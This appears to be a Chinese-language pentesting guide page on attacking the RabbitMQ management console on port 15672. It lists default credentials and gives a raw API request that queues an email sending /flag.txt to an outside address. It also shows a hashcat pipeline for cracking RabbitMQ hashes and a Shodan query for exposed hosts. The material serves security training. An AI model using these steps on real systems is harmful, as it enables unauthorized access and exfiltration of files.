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53 lines
1.8 KiB
Markdown
53 lines
1.8 KiB
Markdown
# 15672 - Pentesting RabbitMQ Management
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## 基本信息
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您可以在 [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md) 中了解更多关于 RabbitMQ 的信息。\
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在此端口，如果启用了 [management plugin](https://www.rabbitmq.com/management.html)，您可能会找到 RabbitMQ 管理网页控制台。\
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主页应如下所示：
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.png>)
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## 枚举
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默认凭据是 "_**guest**_":"_**guest**_"。如果它们无法使用，您可以尝试 [**暴力破解登录**](../generic-hacking/brute-force.md#http-post-form)。
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要手动启动此模块，您需要执行：
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```
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rabbitmq-plugins enable rabbitmq_management
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service rabbitmq-server restart
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```
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一旦您正确认证，您将看到管理员控制台：
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.png>)
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此外，如果您拥有有效的凭据，您可能会发现 `http://localhost:15672/api/connections` 的信息很有趣。
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还要注意，使用此服务的 API，您可以通过以下请求**在队列中发布数据**：
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```bash
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POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
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Host: 172.32.56.72:15672
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Authorization: Basic dGVzdDp0ZXN0
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Accept: */*
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Content-Type: application/json;charset=UTF-8
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Content-Length: 267
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{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
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```
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## 破解哈希
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```bash
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echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
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hashcat -m 1420 --hex-salt hash.txt wordlist
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```
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### Shodan
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- `port:15672 http`
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